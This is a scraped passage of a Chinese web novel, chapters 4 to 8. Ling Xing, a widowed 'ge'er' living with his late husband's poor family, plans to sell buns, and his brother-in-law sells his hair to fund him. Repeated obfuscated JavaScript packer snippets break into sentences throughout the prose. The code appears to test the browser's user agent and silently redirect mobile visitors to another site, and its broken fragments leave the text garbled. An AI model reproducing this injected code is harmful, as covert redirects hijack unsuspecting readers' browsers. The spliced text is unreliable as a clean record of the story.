为了节省柴火,没烧完的树枝木头也都被弄了出来,熄灭后堆在一处,留着下次再用。 刚做完饭没多久,灶屋这会还热着。 木桌已经有了很多年头,桌面上能清楚的看到不少的裂缝。四个桌腿,有三个下面垫着石头。 家里的凳子也好不到哪里去,都是缺腿的。人坐上去的时候,要小心着保持平衡,动作幅度不能太大,不然得摔。 凌星昏迷的时候,沈来去照顾过几天,实在是家里其他人都腾不出手来。 这会看到凌星打着哆嗦过来,他连忙拍拍自己边上的空凳子,“大哥夫快来坐我边上。” 凌星听着声看去,见到沈来就想起他狂炫的三碗面条。 那时候他还不清楚沈家到底怎么个情况,把人生辰面给提前吃了,现在想来凌星这心里还是过意不去。 得想办法给沈来还回去才行。 凌星这么想着,心里放松不少。他笑着朝沈来走去,坐在了他的边上。 因为凳子腿缺了一条,凌星坐的笔直,怕坐不稳摔个屁墩。 徐有芳一直站在灶台前,她给凌星盛了碗饭,豁口的陶碗冒着热气,凌星接过道谢,“谢谢娘。” 徐有芳摇头道:“一家子人说什么谢不谢的,快吃吧。” 沈来盯着凌星的碗,眼神中流露出羡慕。 那碗里的面糊比他的多好多啊。 凌星一开始的时候,没认出陶碗里面是什么。 喝了一口之后,才吃出来。 是粗磨过一遍的面粉,加了水直接煮成的面糊。 因为是粗磨的原因,还有不少的麦麸,面粉也有些灰扑扑的。 喝着割嗓子,难以下咽。 可他边上的沈来,还有刚刚叫他起床的沈小春,以及她身边和她长相差不多,也一样瘦的头大身子小的沈小夏,三人都在用羡慕的眼神看着他。 因为他陶碗里的面糊最多,凌星只觉得口中的面糊更加的难以下咽了。 前世小时候,他家里也穷。但麦麸都是用来加别的东西,喂猪喂鸡的…… 这都过的什么日子啊。 怎么能苦成这样,麦麸都没办法自由的吃饱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036475|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凌星放下了碗,先把离得近的沈来碗端过去,给他倒一些。 又起身给沈小春还有沈小夏倒了一些。 沈来见状自是喜不胜喜,沈小春和沈小夏则是惶恐不安。 徐有芳也看到了凌星的动作,她叹一口气,要给凌星碗里再装一些,“你身子不好,要多吃些。” 这面糊本来就不是什么好东西,吃的再少,人可怎么活哦。 凌星陶碗里还有半碗,他见锅里也不多了,最多两勺就没。 徐有芳八成还没吃,他连忙盖住了陶碗,“娘我还不饿。” 不想再把人家的口粮给吃完了,凌星环顾一圈后,转移话题道:“爹他们人呢?” 灶屋这时候只有沈来,沈小春姐弟两还有徐有芳,家里其他人都不在。 徐有芳见凌星真的不想要,也没有再勉强。这也确实不是好的东西,等过段时间开春,她去挖鲜嫩的野菜回来,到时候再给凌星做了吃补身体吧。 “他们早吃完去捡柴火了,趁着天还冷,捡一点还能卖上价。” 不然家里真的只能喝西北风了。 二月是个尴尬的时节,山上的动物还在睡着,植物也没有抽芽,光秃秃的只有树和枯死的杂草。 上山除了捡柴,还真没办法做别的。 吃完了早饭后,凌星被徐有芳推出灶屋,让他去休息。 沈来今天因为凌星多吃了几口面糊糊,对凌星的好感直线上升。 沈小春和沈小夏也对凌星有了不少的好感,平时的时候娘都让他们能少吃就少吃,不能给沈家人添麻烦。 这还是他们在沈家吃的最饱的一顿饭,虽然吃完肚子还是饿,但已经很好了。 家里没有什么活干,别家还有个鸡鸭要喂,条件好点的会养猪。 沈家啥都没有。 春天土化冻的时候,倒是会在院子外开地种点菜,这会连菜都种不了。 徐有芳没让三个孩子跟着她在灶屋忙活,对沈来道:“带着小春和小夏去陪陪你大哥夫。他刚来我们家,你们和他多说说话,别叫他想家了难受。” 沈来一听,一手牵一个,一溜烟跑进了东头房。 “大哥夫!” 凌星裹着皮袄子坐在床上,哆哆嗦嗦的对着手掌哈气。 见沈来带着两孩子进来,让他们赶紧上床上来。 这三人穿的也不比他多到哪里去,脸都冻的紫红了。 沈来也没客气,脱了草鞋带着小春和小夏爬床上和凌星讲话。 “这布条勒的我脑袋疼。” 沈来一边说着,一边把额头上的布条往上扯。 凌星这才发现,沈来的眉间有一颗微微凸起的红痣。 是哥儿的孕痣。 5. 第 5 章 他一开始还以为是沈来觉得额间绑着布条为了造型好看,没成想是用来遮挡孕痣的。 正奇怪沈来为何要遮挡,脑海中就浮现了相关的记忆。 哥儿的孕痣是极其私密的,在十岁后就要遮挡上。 除了自己未来的夫君以外,其他男人是不能看哥儿孕痣的。 每个哥儿的孕痣位置不同,在身体上的还好,能靠着衣物遮挡。 要是在脸上,耳朵上,手上这些不好遮挡的地方,只能抹东西遮盖。 有钱的人家会买专门的脂膏遮盖,穷人家直接抹泥或是锅灰。 沈来掀开布条后,又是一阵的羡慕。 “大哥夫你和小夏真好,孕痣都不在脸上,不必像我这样费力的遮挡着。” 凌星搜刮了一下原身记忆,动了动舌头。 原身的孕痣在舌根,指尖轻轻摸的话,能够感受到微微的凸起。 不过也确实不必专门遮挡,谁没事把他嘴捏开看他舌根啊。 沈小春和沈小夏姐弟二人在一旁缩着,听着二人的谈话,不敢随意插嘴。 对于两个孩子的畏惧与胆怯,凌星也能理解。 这地方对女子和哥儿实在不友好,曹满月又是被休弃带着孩子的,进了沈家再怎么难,终归是有个遮风挡雨的地方,有口热饭吃。 毕竟不是流着沈家的血,曹满月也怕沈家厌弃了两个孩子。 真要赶两个孩子走,曹满月是没有一点办法的。 凌星不知道的是,曹满月在私底下,也会三番五次的告诫孩子们,小心翼翼的活着。 千万别惹沈家人不高兴。 本来孩子就因不受前头的爷奶喜欢,整日被压着。来到沈家,比之前还要小心。 这性子能放开才有鬼。 小孩害怕,凌星便没有故意去搭话。让他们自己待着,比强行和他们说话要好。 而且沈来忒能说,凌星应付他已经有些费劲。 正好要聊天,凌星便引着沈来说说此地物价,方便他了解。 此地名为东平县,玉河镇,小柳村。 不南不北的地方,种的粮食大多为高粱,小米,黄豆和小麦。 倒也有水稻,不过那都是各大庄子才种。寻常百姓家没那个钱引渠灌溉,而且稻谷种子也特别贵。 麦子种的多些,粗磨的面粉也最便宜。 一斤六文钱,里面有不少的麦麸。今天吃的面糊,就是这种面粉煮的。 细磨的面粉要二十文钱一斤,没多少麦麸,但是也有些灰。最贵的是三十五文一斤的精白面,没有任何的麦麸,面粉还白。 高粱,小米这些糙米还有黄豆更便宜,一斤只要五文钱。但米却很贵,陈米都要六十文一斤,别提新米了,那都是翻倍的价格。 肉的话牛肉还挺便宜,只要二十文,这是官府定死的价格。 谁要是卖高了去,那是要抓起来打板子的。 但牛却不可杀,除非是老死或是病死。 这样定下低价是为了防止有人为牟利偷杀耕牛,如果赚不着什么钱,自然不会花那大力气铤而走险了。 猪肉一斤三十五文,羊肉一斤四十文,鸡鸭鹅一斤二十五文。鱼肉算是肉里最便宜的,一斤十二文。 但那种很小的小鱼,一条一文也有得卖。 沈来掰着手指头数,说到鸡鸭鹅的时候还有些可惜,“家里要是养这些就好了,那鸡蛋能卖一文钱一颗。鸭蛋鹅蛋大一些,两文钱一颗。买的话,都是翻倍才能买到的。” 禹朝刚建立没多久,物价高的很,但老百姓赚的钱却不是很多。 村子里一般都是以物换物,基本上不会用铜钱。 就连每月十五赶乡集,也是能用东西换就不拿铜钱用。 在村民们看来,钱是顶金贵的东西,来的慢,去的快。 轻易不能花,一花就没。 除了每月固定的乡集,逢年过节的还有镇集,县集。 沈来只去过乡集和一次镇集,还没去过县集。 只晓得县集最热闹,每三月举办一次。在当月的第一天。 凌星大致了解了这边的物价情况,又问了沈来集市里卖的吃食有哪些。 “糖人,糖葫芦,麦芽糖,高粱糖,芝麻糖,花生糖……” 在说了一串的糖后,沈来流了口水,沈小春和沈小夏也跟着流口水。 糖啊,好吃,馋。 凌星想找个帕子给他们擦擦嘴,就见三人已经用袖子擦完了。 他只能坐好继续听沈来说。 “面条,炊饼。” 凌星等了一会,“没了?” 沈来点头,“是啊。” “包子,馒头,馄饨,饺子没有吗?” 沈来有些奇怪,“这是大哥夫你家乡的吃食吗?” 凌星一愣,细细的回忆起来。 不是,原身的记忆里也没有这些。 各种小吃也没有,这里食物匮乏,菜色单调,有些像前世汉代。 凌星眼睛一亮,有些激动。 他能赚钱了! 他知道好多好吃的做法,哪怕味道做不行,但胜在新奇啊。更别说他做的吃食,味道还是很可以的。 刚惊喜完凌星又蔫了,按着沈来刚刚说的物价,他连包子都卖不了。 他身上是一文都没有的,沈家也没那个钱资助他。 哎,一文钱难倒英雄汉,老天爷就不能莫名其妙掉几两银子给他吗? 凌星突然想到什么,又问沈来,“豆腐有吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036476|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 沈来道:“大哥夫你想吃豆腐了吗?等二哥他们卖柴回来,我找娘拿钱去村子里买。王夫郎家的豆腐做的好,得早去才能买到。其他家的不好吃。” 凌星摆摆手,原来已经有豆腐了啊…… 他还想说,要是没有的话,他能用豆子磨豆腐。这个虽然累,但是成本低。 而且听沈来的意思,村子里不止一家卖豆腐,那他就算做估计也卖不出去。 凌星撑着脑袋想了一下,实在不行,就写个方子拿镇上或者县里卖了,至少有个本金。 不过这事要和沈家人商量才可以,因为穿的这具身体是个哥儿,他根本没办法独自做生意。 凌星打定主意要赚钱,这种吃麦麸面糊的日子,一天两天可以,多了不行。 人会出毛病的。 “对了小五,你后面别在堂屋睡了,和我一起睡吧。” 东头房的床挺大的,睡三个人都绰绰有余,多一个沈来不成问题。 沈家人不和凌星提这事,但凌星不能真的当没看见。 他还要在这生活好久,不想在这些小事上,磨灭沈家人对他的关心。 听说能在屋里头睡,沈来高兴的差点跳起来。 他凑到凌星边上蹭他,撒娇卖乖笑的合不拢嘴,“大哥夫你真好!” 凌星也比较喜欢沈来直来直去的性子,他跟着笑了一声,让他把手放被子里放好取暖。 临近中午的时候,沈家其他人都回来了。 徐有芳烧了热水,给几人倒上喝着暖暖身体。 “卖的怎么样?” “压了价,七文一捆。” 沈呈山眉头紧锁,眉间已经有深深的沟壑。身为一家之主,他身上的担子一点也不轻,生活磨平他的棱角,也加重了他脸上的皱纹,白了头发。 徐有芳听着价格,忧心的叹气。 这会天气还冷着,柴是卖的上价的。虽然不比年节那段时间卖个十二文一捆,但也能卖个九文十文。 夏日里不缺柴烧,一捆柴都五文。 “这是一百四十文,你收好。星哥儿他身子不好,再给他抓副药回来吃。” 四人一上午弄了二十捆柴,沈回一人弄了十二捆。 沈呈山把今天卖柴的钱全部交给徐有芳,草药都金贵,尤其是冬日里,价格比起其他时候都翻着倍。 上次给凌星抓的,一帖就百文。 徐有芳没说不行,数了足数的钱出来,“成,过午后我就去邻村请李大夫来。” 对于要拿大部分的钱给凌星买药吃的事,老两口拍板了,沈回和沈归夫妻二人都没有说什么。 曹满月不仅没介意,还道:“娘,大哥夫他身子弱,今晚要不要弄个炭盆放他屋里头暖暖?” 6. 第 6 章 这天确实还是冷,徐有芳之前想着凌星身体不好,怕他冻着半夜去屋里看过。 幸好是去了,那孩子脸都冻的发青,炭盆烟气大,徐有芳怕人睡熟了出事,只能寻沈还之前盖着的皮袄子给凌星身上压着。 又守了一会,看凌星没那么冷了,这才离开屋子。 徐有芳点点头,“也成。睡前的时候烧一阵子,有个暖和气。大郎临走的时候,最放心不下新娶的夫郎。这孩子在大郎走后,也差点跟着走了。刚嫁进来就叫他守了寡,我们沈家是最对不起他的。他身子不好,家里总是要多记挂一些。” 说着徐有芳拉着曹满月的手,轻轻的拍一拍,“四郎媳妇,你是个好的,等开春娘能接绣活,赚些钱后给你和两孩子纳双鞋子。” 曹满月笑着摇头,沈家虽然穷,前头更是为了大哥掏空家底吊着命,可她也毫无怨言。 赚到的钱都上交公中,没有一文藏私。 这样的婆家只是穷些,但有人情味。 她在沈家,被当成人看。家里人也竭尽所能的,让她和孩子们吃上口饭。 说到底,她这样被休弃的,还带着两个孩子的妇人,再穷的人家也不会想娶。 除非她选择不要孩子,倒是有机会嫁个有些缺陷的男人。 可她要是不要两个孩子,他们就会被前头的夫家当做货一样的给卖掉。 那是她十月怀胎辛苦生下来的,没人比她更心疼在意。 只有沈家愿意要她,愿意接纳她的孩子。 吃不好穿不暖又怎样呢?至少能让她还有孩子都活着。 她一直相信着,她对人好,人家才会对她好。 前头的夫家不是个东西,沈家不一样。 她夜中每每醒来,都无比庆幸自己嫁来了沈家。 也知道婆婆这话,是为了宽慰她的心,也怕她对大哥夫产生情绪。 日子要过好,是需要经营的。 公婆也不曾真的亏待过她,曹满月心里清楚。 她不会做那搅家精,只想一家子能和和美美的,把日子过起来。 “娘我晓得你疼我和孩子们,大哥夫是大哥放不下的,遗言里托了咱们照顾。我虽说是做弟妹的,可这年纪上毕竟年长大哥夫那样多,也是忍不住的想关心照料他的。” 有些话也不用说的太直白,一家子都听出的出来曹满月的意思。 她不会因为家里人对凌星的多加关照,就会心里不平衡。 儿媳妇的意思,徐有芳明白了。 她也是真心疼这个媳妇,给曹满月把脸颊边上的散发捋到耳朵后面,欣慰的笑着。 四儿媳为了家里的和睦到底是受了委屈的,徐有芳之前也是做人儿媳的,这点她清楚。 先头多少人说她家娶个德行有亏被休弃的媳妇,还带着两拖油瓶是冤大头。 可没人知道,她这儿媳妇是她私下相看好的。 在徐有芳看来,没人比曹满月好。 “满月啊,娘谢谢你。” 自己的退让与为家里的付出被看在眼里,记在心里,而不是觉得理所当然。 曹满月眼眶也红红的,怕哭出来丢丑,连忙道:“娘我去挑豆子。” 徐有芳眼角也有些湿润,她嗳了一声,放人离开。 婆媳两说话的时候,三个男人都在闷头喝水。 徐有芳点了一下边上沈归的脑袋,“你媳妇是个好的,你可不能仗着她因年长你几岁,平日疼你让你,你就欺负她。” 沈归长的不差,个头也高。沈家人就没有一个丑的,矮的。 听到他娘点他,沈归立马点头保证,“放心吧娘,屋里头满月说一,我不说二的。” 徐有芳其实不太信,沈归这性子随他舅舅,多少有些风流浪子的意思。 人长得俊,嘴又甜。村子里不少女子哥儿被他勾的没魂,要不是因为家里太穷,人家家里父母压着不准昏头,沈归还不知道闹多少风流债。 家里为了沈还的病,已经焦头烂额,哪里有空整天盯着他。 干脆就先给他娶个媳妇,叫媳妇来看管。 曹满月心善温和,因为被休弃又带着两个孩子,心里一直怕被沈家嫌弃。 这些徐有芳心里也都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036477|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道。 沈归的话,她听着就当胡咧咧。 要说是他说一,曹满月不会说二,徐有芳还觉得可信一些。 “你什么样的我还能不清楚?今日这话你是听进去也好,没听进去也罢。不管怎样,你后面要是敢对不起满月和孩子,别怪我这当娘的不顾母子之情。” 这话说的重,警告意味十足。 沈归不敢讨好卖乖,低眉顺眼的点头,“知道了娘,我去帮满月挑豆子。” 话音没落呢,沈归人已经跑出去了。 点完了四儿子,徐有芳又看向另外两人。 二儿子从小就省心,从不让人操心。徐有芳没有多说什么,倒是对着沈呈山道:“你寻常也盯着些四郎,还有管教一下来哥儿。” 之前沈还还在,他是兄长,虽然一直病着可对弟弟妹妹们也十分上心。 有当哥哥的压着看着,大人忙是忙,到底没歪。 现在沈还走了,沈家的日子要换一种模式,他们做父母的不能再一门心思想着赚钱,而是要把心放一些在孩子身上。 沈归像只花蝴蝶一样,沈来像条小疯狗,一个比一个不省心。 憋着气喝水企图降低存在感的沈呈山还是被点名了,他放下碗直点头,“成,我这就去找来哥儿说几句。” 徐有芳瞪了沈呈山一眼。 “我说你这老头子也是怪,来哥儿这几日难得乖的很,你这会说他做什么?” 刚站起来的沈呈山,坐也不是,走也不是。 正绞尽脑汁想说些什么,就听见一道清亮的声音响起,“爹,娘。” 凌星裹着皮袄子来了灶屋,就露出一双圆溜溜的大眼睛。 沈呈山如蒙大赦一般,高兴的问凌星,“星哥儿来啦,可是饿了?你娘正要做饭,再等等。” 凌星摇摇头,“没饿呢,我是有事想和爹娘商量。” 进来后凌星才看到沈回,那大高个子颇有压迫感,他仰着头笑道:“二弟好。” 被比自己小许多的哥儿喊弟弟,沈回眉头不动声色的轻挑。 “嗯,哥夫。” 7. 第 7 章 沈回的声音如凌星记忆里一般冷,嘴角绷着,也没什么表情情绪,瞧着有些淡漠不近人情。 凌星看了一眼就收回视线,他头仰的难受。 “要商量什么事啊?” 徐有芳给凌星端了凳子叫他坐下。 沈呈山也看向凌星,示意他说。 要怎么说,凌星早就琢磨好了。原身原来的家境,给他留了可以操作的空间。 “爹,娘,是这样的。我之前在家好看些杂书,琢磨些吃食。手里有不少小食方子,想着拿着这些方子出去做买卖。” 凌星的话并没有引起沈家人的怀疑。 相反,他们最能理解。 沈家之前也是富裕人家,书籍这种东西,都掌控在有钱或有权的人手中,轻易不外流通。 也正是因为如此,不论是前朝还是如今的禹朝,农门难出仕。 需要一代又一代的积累,才能培养出一个举人。后又需要更多的积累,才能有进士,真正的改换门庭。 因为书与知识,掌握在权力者手中。 凌星看的那些能研究出吃食的杂书,想来也是凌家的藏书,是凌家的私产。 对于凌星手里有技艺,想做买卖这事,在场的三人都心知肚明为什么。 实在是家里太穷,不出门赚钱饭都吃不上了。 说到这个,沈呈山就有些后悔。 他以前在家当少爷的时候,就爱收集玉石。偏他又不会打磨雕刻,纯欣赏。另一项擅长的,就是养鸟。 但凡他会养马,家里也不能这样穷了。 不像他夫人,会绣活能揽活。二儿子识字会武术,能写信读信,还能上山打猎。 他倒是也识字,可家里农活总要有人干,写信读信的家里一人去就够了。 徐有芳也高兴凌星能说出自己的想法,有商有量的才是家人嘛。 她点头道:“行,这些日子家里出去多砍点柴火。娘提早去县里走一趟,把绣活接了。等攒下些银钱,就给你拿做买卖。” 凌星对于徐有芳的回答有些吃惊,他都没有说问沈家人借钱,竟都替他想好了。 前世只跟着爷爷相依为命的凌星此时心里有些酸胀,他嘴角翘着,心情很好。 “不用的娘,我这方子多,准备卖一两个方子攒下本金。” 有主意是好事,不过沈呈山却摇了摇头。 “星哥儿,此事做不得。” 凌星有些奇怪,等着沈呈山后面的话。 “主动卖方子,卖给哪家都会得罪其他家。买你方子的,不见得会帮着你应对其他家的刁难。” 凌星一想也觉得有理,在商言商,一手交钱一手交方子,谁还管你后面会不会因此被人针对啊。 “那我每家都卖呢?”凌星提出解决办法。 此话一出,三人的视线都落在了凌星的身上。 徐有芳哎呦一声,“星哥儿哦,方子卖第一家的时候,那家就不会允许你再卖第二家了。你真要卖,那直接就得罪了第一家啊。柿子挑软的捏,其他家知道方子是你的,自然只找你来要,哪会管你的死活啊。” 凌星有一瞬的失神,他把这当法治社会了。 可不卖方子,要等沈家人攒钱,那要到什么时候才能做生意,吃上饱饭啊。 凌星之前根据物价心里估摸算过了,生意做起来五百文以内能解决。 前面定做泥炉和买炭火花的会多些,但这两样用的也长。 “要多少银钱?” 沈回突然出声问道。 凌星也没多想,按着心里的价位下意识回,“五百文左右吧。” “钱的事情,我来想办法。” 凌星正发愁着呢,听到冷冽低沉的声音对他允诺,促使他抬头看向沈回。 这声音给凌星带来了希望,驱散他的愁绪,叫他怔愣又有些欣喜期盼。 心里想着沈回要怎么想办法,对方就转身离开了灶屋。 他实在是高,出灶屋的时候要低头才能避免撞到门框。 见人走后,凌星想追出去问,被徐有芳拦住。 “二郎说想办法,必然是有了主意,星哥儿在家里等着便是。” 凌星两边看看,最后还是迫于寒风侵袭的威力,裹着皮袄子缩在了灶屋里。 中午沈家吃的是煮豆子,黄豆直接煮熟了吃,加了一点盐。 那盐是粗盐,带着些苦味和沙砾感。 吃的凌星心里发苦,可肚子又饿,实在没的挑。 尤其见到比他小的几个,都吃的喷香的,凌星就更不好意思挑嘴了。 只能在心里默默落泪,他什么时候能吃上大米饭啊。 想吃香喷喷,软乎乎的大米饭了呜呜呜呜。 为了多赚钱,午后沈呈山准备带着沈归和曹满月再上一趟山。 山上圈了范围,靠外的一片区域属于村子里共有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036478|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。这片区域的产出,哪家都不好一个劲的薅。 想要更多,只能往深山走。 本来沈家人就想着每天弄一次柴火,但因为凌星想做生意,沈回虽然说了钱他想办法,可万一要是头回失败了,那不还得有钱才行。 做生意宜早不宜迟,因此沈呈山吃完饭,就寻思着再去一趟,往深山里去捡枯树枝。 沈家二老想的也简单,凌星是他们家大郎放心不下的夫郎,他们要替大郎照顾好。 孩子想做,就让他做。他们当爹娘的,自会兜底。 凌星下午的时候,都在计算着如何以最低的成本做长久的生意。 算来算去,只有一个结果。 不管卖的什么,在村子里卖都没办法卖出价挣钱。 得去镇上或者是县里去卖。 他抓来沈小五,问他路程时间。 离小柳村最近的一个镇叫云霞镇,十公里的路,要走一个时辰带两刻。 凌星换算了一下,就是走两个半小时。 “不过举办乡集的那条土街挺近的,半个时辰就到了。”沈来给凌星扩展道。 乡集主要也都是各个村子里的人去买东西,不过也有的村子是富村,村民们手里能有些闲钱。 正好乡集每月一次,十五那天去倒是可以。 平时的话,听沈来的意思那边没什么,还是要走远路去镇上才行。 县里是不能想了,比镇上还远,走过去要近三个时辰。 坐牛车的话一个时辰能到,不过小柳村周围的三个村子只有五家有牛。 去县里是固定日子去,交车费一起拉过去再拉回来。 他要是做生意,肯定是天天去,人家可不会天天拉牛车带他。 比来比去,还是定了暂时去镇上。 卖的东西就包子馒头,蒸笼泥炉易得,面粉也金贵一看就是好东西买账的人多。 这边暂时没有这些,他翻看原身的记忆,也没有发面一说。 发好的面蓬松暄软,能降下一些本金来。 凌星准备先卖个肉包和馒头,多了他也做不来,投入的钱还多。 计划倒是计划好了,现在就差买些食材,准备好用具,蒸出一笼来试试味道。 兜比脸干净的凌星只能等沈回。 也不知过了多久,凌星和沈来说这话,两人都要睡着了。 门帘外突然有人说话,“哥夫,是我。” 8. 第 8 章 凌星听到是沈回的声音,一骨碌的爬起来,皮袄子都没顾得上披。一旁迷迷瞪瞪的沈来被凌星的动作吓一跳,回神后跟着他一起下床去。 兴冲冲的掀开门帘,凌星笑着仰头一看,只见沈回冷着一张俊脸,之前高束起来的头发变短了,发尾垂在肩膀。 “你头发呢?”凌星惊诧道。 沈回淡淡回他:“卖了。” 随后把钱袋子塞到凌星手里。 手里破旧的钱袋子沉甸甸的,凌星的心里也沉甸甸的。 他别的不清楚,但古人讲究身体发肤受之父母。 修剪头发每年有固定的时间,在正月初六,没什么特殊的含义就是律法规矩。 除此之外的时候,轻易是不会损伤头发和皮肤的。 凌星有些自责,他太过心急让沈回看了出来,因此去卖了头发给他换钱。 至于那些头发会去哪里,凌星倒是知道。 原身的记忆里,继母每次梳发髻,都是要用发包的。 头发的质量越好,卖的越贵。 凌星眼帘垂着,“对不起,我……” “二哥你咋又卖头发了?” 沈来的声音打断了凌星的心绪,沈回低眸看了沈来一眼,“我高兴。” 说完人头也不回的走了。 “凶巴巴的,再不和你说话了。”沈来小声的嘀咕,他不敢说大声,怕沈回真的听见了。 凌星的话没说完,被沈来拉住,“大哥夫快一起睡觉去,你不在被窝都冷了。” 这哥儿力气忒大,凌星被他拽的一踉跄。 “慢点小五。” 回到被窝后,有了些暖意,凌星问道:“你二哥之前卖过头发?” 沈来打了个哈欠点头,“卖过好几次了,好像那头发长在头上他不习惯一样,长了就卖……” 沈来的声音越来越小,凌星捏着钱袋,在沈来睡着后披上袄子出去了。 徐有芳对于沈回卖头发之事也见怪不怪,凌星问了一嘴,她道:“前头卖过一次,我记得清楚那年大郎的药差点断掉。” 凌星微微皱眉,徐有芳和沈来的话,不太一样。 一个说卖过好几回,一个说前面有一回。 不过凌星不是来查案的,他是来找剪刀。 徐有芳做绣活,剪子家里是有的。 “在屋里头,娘给你去拿。” 拿到剪刀后,凌星去找了沈回。 他在院子里削木枪,看着是用来捕猎用的。 “二弟,我帮你把头发修修吧。” 剪头发的人只想要头发,哪里会给人做造型啊。 沈回头发卖都卖了,也不好再说什么。 凌星没别的能做,只想着把他头发修的能看一些。 前世有段特殊时期,被困在家没地方剪头发,他跟着视频剪过。 后面手练熟了,头发都自己剪。 沈回扫过凌星手里的剪刀,视线停在凌星脸上。 凌星感觉到沈回想拒绝他,但沉默片刻后,他听沈回道:“给你一刻钟时间。” 得到默许,凌星脸上扬起笑:“我很快的,肯定不耽误你做事。” 也不知是那收发的人有良心,还是沈回太唬人,他这头发除了丑点以外,倒是没有短的只有发茬。 按着古人审美,短发就是丑八怪。凌星不想沈回因为他的原因被人暗地里指点,就想着给他头发修剪加工一下。 刚开始的时候,凌星还有些手生,一剪子下去提心吊胆的。 后面熟悉之后,来了手感。 剪刀咔咔咔的,凌星专注且认真,绕着沈回的脑袋环绕着转。 有人一直拿着剪刀在脑袋上比划,沈回身体紧绷着,脸色难看压着本性没把人一拳打出去。 就在他耐心用尽的时候,脑袋上响起一道欢快的声音,“好啦二弟!” 沈回皱着眉起身,头发进了衣领,刺挠的难受,他转身去屋里拿布巾擦。 灶屋里的徐有芳看到沈回的头发,不由得睁大眼睛。 “二郎啊,你这头发……” “娘,我给二弟剪的狼尾造型好不好看!” 凌星握着剪刀跑进来,笑嘻嘻的问徐有芳。 被凌星欢快的声音感染,徐有芳又看二儿子一眼。 那头发虽然第一眼看着怪,但不得不说把老二的脸衬的更俊朗了。 老二的头发蓬松微卷,如今这头发修的,倒是真添了野性在里头,越看越觉得好看。 “星哥儿的修发手艺也这般好,那些修发郎该拜你为师。” 徐有芳毫不吝啬的夸奖,凌星喜滋滋的接受。 沈回不知道自己现在什么模样,不过他娘不爱说谎,想来这头发修的确实好看。 沈来睡醒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036479|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,看到沈回的样子后,先是一愣。然后打听到是凌星给修的头发,二话不说拿了剪刀就要把自己头发给剪了。 他指着沈回的方向,“大哥夫,求求你给我也剪成那样的吧。” 实在是太好看啦!他也想要! 然后他就被徐有芳扭着耳朵带进屋训话去了。 凌星没敢拦,站在院子里准备等里面训话结束再进去。 “那钱当真够吗?” 削着木枪的沈回突然出声问道。 凌星点头,按着估算五百文差不多就够了。 但沈回给了他八百文,比想要的还多三百文,多出来的部分也给了凌星一些试错的底气。 “够的,不够的话我也去卖头发。” 不得不说沈回的做法叫凌星也找到了一条路。 之前都没想到还能这样。 沈回手上动作一顿,“不用,不够我把沈来头发剪了。” 凌星发笑,“你真这样做,下一个被娘拎进去训的就是你了。” “不会。” 沈回简短的回了一句后就没了下文。 那头沈来也从他娘的手里逃脱,飞奔向凌星身后,抓着凌星的衣服左右闪躲,“娘我真知道错了!” 徐有芳抓不到人,气的掐腰。 “你大哥夫身体不好,你别抓着他!把人摔了,叫你好看!” 沈来不敢松手,真松手了他就完了,肯定要挨巴掌。 因为天冷,凌星脚上只有草鞋。他冻的腿站不稳,被沈来这般一折腾,还真有些晃。 先头专心削木枪的沈回又抬眼一扫,冷声道:“沈来,松开。” 短短四个字,沈来就像是疯狂跑酷的仓鼠被强迫按下了暂停键。 瞬间停止了动作的沈来,有些畏惧的看向沈回。 “二哥……” 沈来天不怕地不怕,独独怕沈回。 